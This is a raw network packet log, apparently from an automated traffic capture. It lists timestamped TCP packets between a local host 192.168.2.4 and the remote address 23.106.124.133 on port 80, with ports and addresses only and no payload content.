Feb 16, 2023 10:01:27.576421022 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.576443911 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.576443911 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.576450109 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.576471090 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.576477051 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.576503038 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.576529026 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.576529980 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.576529980 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.576555967 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.576575041 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.576575041 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.576581001 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.576611996 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.576627016 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.576627016 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.576637030 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.576663017 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.576683044 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.576683044 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.576688051 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.576715946 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.576742887 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.576745987 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.576745987 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.576771021 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.576786041 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.576786041 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.576797009 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.576822042 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.576848030 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.576848030 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.576848030 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.576875925 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.576893091 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.576893091 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.576901913 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.576948881 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.576948881 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.578663111 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.578731060 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.578758001 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.578782082 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.578808069 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.578808069 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.578816891 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.578845978 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.578871965 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.578895092 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.578917027 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.578942060 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.580919027 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.751936913 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.751990080 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.752012968 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.752033949 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.752055883 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.752080917 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.752104998 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.752130032 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.752152920 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.752177000 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.752201080 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.752226114 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.752232075 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.752232075 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.752252102 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.752279043 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.752306938 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.752324104 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.752324104 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.752334118 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.752362013 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.752388954 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.752415895 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.752428055 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.752428055 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.752444029 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.752470970 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.752496004 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.752523899 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.752531052 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.752531052 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.752552032 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.752587080 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.752614975 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.752640963 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.752655029 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.752655029 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.752669096 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.752698898 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.752726078 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.752753019 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.752775908 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.752775908 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.752783060 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.752810955 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.752836943 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.752866030 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.752872944 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.752872944 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.752893925 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.752919912 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.752945900 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.752979040 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.752991915 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.752991915 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.753006935 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.753034115 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.753058910 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.753084898 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.753098011 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.753098011 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.753110886 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.753139973 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.753164053 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.753168106 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.753197908 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.753215075 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.753227949 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.754412889 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.754445076 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.754468918 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.754492044 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.754513979 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.754513979 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.754517078 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.754543066 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.754574060 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.754610062 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.754652977 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.754652977 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.929451942 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.929497957 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.929522991 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.929547071 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.929570913 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.929594994 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.929620981 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.929646015 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.929666996 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.929672003 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.929666996 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.929701090 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.929728031 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.929738998 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.929738998 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.929755926 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.929783106 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.929809093 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.929835081 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.929853916 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.929853916 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.929862976 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.929893970 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.929920912 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.929944992 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.929956913 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.929956913 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.929972887 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.930001020 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.930027008 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.930052042 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.930068970 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.930068970 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.930079937 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.930107117 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.930133104 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.930159092 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.930170059 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.930170059 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.930186033 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.930212021 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.930237055 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.930263042 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.930278063 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.930278063 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.930289984 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.930316925 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.930342913 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.930368900 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.930381060 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.930381060 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.930396080 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.930423021 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.930449009 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.930474043 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.930486917 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.930486917 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.930500984 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.930527925 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.930556059 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.930581093 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.930592060 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.930592060 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.930608034 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.930634022 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.930659056 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.930685043 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.930705070 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.930705070 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.930732012 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.930758953 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.930784941 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.930809975 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.930821896 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.930821896 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.930835962 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.930860996 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.930886030 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.930902958 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.930902958 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.930912018 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.930939913 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:27.930958033 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.930958033 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:27.931606054 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.107805014 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.107877016 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.107899904 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.107918024 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.107940912 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.107968092 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.107995033 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.108021975 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.108047962 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.108056068 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.108056068 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.108072042 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.108098984 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.108124971 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.108127117 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.108127117 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.108151913 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.108179092 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.108200073 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.108200073 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.108205080 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.108233929 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.108258009 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.108258009 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.108258963 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.108287096 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.108309984 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.108309984 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.108314037 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.108341932 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.108352900 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.108352900 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.108369112 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.108395100 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.108407021 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.108407021 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.108421087 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.108448029 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.108460903 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.108460903 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.108474970 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.108501911 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.108513117 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.108513117 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.108529091 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.108556986 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.108566999 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.108566999 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.108583927 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.108609915 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.108624935 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.108624935 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.108637094 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.108650923 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.108664036 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.108691931 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.108701944 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.108701944 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.108719110 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.108745098 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.108757019 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.108757019 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.108772039 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.108798981 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.108808041 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.108808041 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.111000061 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.158483982 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.158715963 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.285187006 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.285264015 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.285290003 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.285311937 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.285335064 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.285358906 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.285383940 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.285408974 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.285434008 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.285460949 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.285463095 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.285463095 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.285486937 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.285515070 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.285542965 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.285562038 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.285574913 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.285612106 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.285626888 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.285655975 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.285662889 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.285664082 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.285684109 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.285710096 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.285711050 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.285711050 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.285738945 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.285763979 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.285763979 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.285767078 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.285795927 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.285814047 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.285814047 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.285823107 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.285850048 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.285861969 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.285861969 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.285877943 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.285904884 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.285918951 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.285918951 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.285931110 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.285958052 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.285984993 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.285989046 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.285989046 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.286015987 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.286043882 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.286043882 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.286804914 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.287265062 CET	80	49698	23.106.124.133	192.168.2.4
Feb 16, 2023 10:01:28.288495064 CET	49698	80	192.168.2.4	23.106.124.133
Feb 16, 2023 10:01:28.339016914 CET	80	49698	23.106.124.133	192.168.2.4
